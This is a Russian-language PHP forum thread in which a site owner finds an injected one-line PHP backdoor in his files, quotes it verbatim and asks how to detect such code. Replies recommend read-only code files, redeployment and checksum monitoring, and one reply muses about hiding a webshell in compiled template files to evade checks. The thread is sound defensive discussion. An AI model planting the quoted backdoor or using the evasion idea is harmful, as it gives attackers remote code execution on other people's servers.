Борьба с инфицированным кодом в скриптах

nalim

Новичок
Нашел у себя в некоторых файлах вот такой код:

PHP:
<?php if(@md5($_SERVER['HTTP_PATH'])==='5cd2973f835de94b560b62465d5a37f3'){ @extract($_REQUEST); @die($stime($mtime)); } ?>
Что он делает более-менее понятно - выполняет произвольный код.
Как используется тоже понятно - хост используют в ботнетах для атак и рассылки спама.
Как решить проблему в конкретном случае - так же более менее ясно - просто удалить этот фрагмент.

Посоветуйте есть ли каке-то автоматизированное средство борьбы с подобными веселыми скриптами?
Дело в том что ни clamav ни rkhunter и не думают на этот скрипт ругаться.

На ум приходят Suhosin и контроль за изменениями файлов через систему контроля версий.
Может быть есть еще какие-то эффективные мер и средства?
 

fixxxer

К.О.
Партнер клуба
Эффективная мера - отсутствие прав на запись в файлы с кодом.
Самая эффективная мера - выяснить, каким образом туда смогли записать, и сделать так, чтобы больше не смогли.
 

fixxxer

К.О.
Партнер клуба
Как решить проблему в конкретном случае - так же более менее ясно - просто удалить этот фрагмент.
Неверно, надо отдеплоить заново. Мало ли еще что где что всунули, что ты не нашел.
 

AnrDaemon

Продвинутый новичок
Мне на одном сервере дважды ломали шелл. После первого я написал гварда, который проверяет все файлы по маске, считает sha1 и высылает отчёты на мыло. И с тех пор ставлю его на каждый сервер, который настраиваю.
 

grigori

( ͡° ͜ʖ ͡°)
Команда форума
что значит ломали шелл? крали пароль или ssl ломали?
 

AnrDaemon

Продвинутый новичок
Кто его знает, там такие мымрики сайт наполняли, что от них ответа "что ты ел на завтрак" не добьёшься.
Зато теперь я каждое утро любуюсь на свежий привет от сервера.
 

Redjik

Джедай-мастер
Мне на одном сервере дважды ломали шелл. После первого я написал гварда, который проверяет все файлы по маске, считает sha1 и высылает отчёты на мыло. И с тех пор ставлю его на каждый сервер, который настраиваю.
a git не пробовал ставить и git status отправлять? :D
 

grigori

( ͡° ͜ʖ ͡°)
Команда форума
с учетом, что git данные сжимает, это надо постараться :)
gri$ du -hs .git
45M .git
 

AnrDaemon

Продвинутый новичок
Пара гигабайт для 2-мегабайтного проекта - это [цензура].
Я видел уже 250Mb git для 200кб проекта.
Спасибо, мне ваша каша не по вкусу.
 

Absinthe

жожо
А где ты писал, что у тебя 2мб? У меня .git примерно раз в 6 больше, чем проект.
 

fixxxer

К.О.
Партнер клуба
Я все же надеюсь, что имелся в виду хак вида постдеплойного git init and add all, а не полные репозитории на продакшене: для каждой зависимости в composer.json тоже предлагается репозитории выкачивать? ;)
 

fixxxer

К.О.
Партнер клуба
Я бы на месте кулхацкера, кстати, засунул вебшелл в какой-нибудь файл с автогенерируемым кодом. Например, в компилированный twig-шаблон основного лейаута. Туда и писать точно можно, и никакими гитами точно не трекается, и контрольные суммы там вряд ли считают. :)
 

MiksIr

miksir@home:~$
Если вам быстро и на коленке, то можно так
После заливки: find ./path -type f ! -path './path/exclude/*' -exec md5sum {} \; >~/sum
И в крон md5sum -c --quiet ~/sum
Так как обычно шелы пихают чуть ли не на автомате скриптами, да и воруют чаще ftp доступ - сойдет.
В идеале - от другого пользователя поднять.
 
Сверху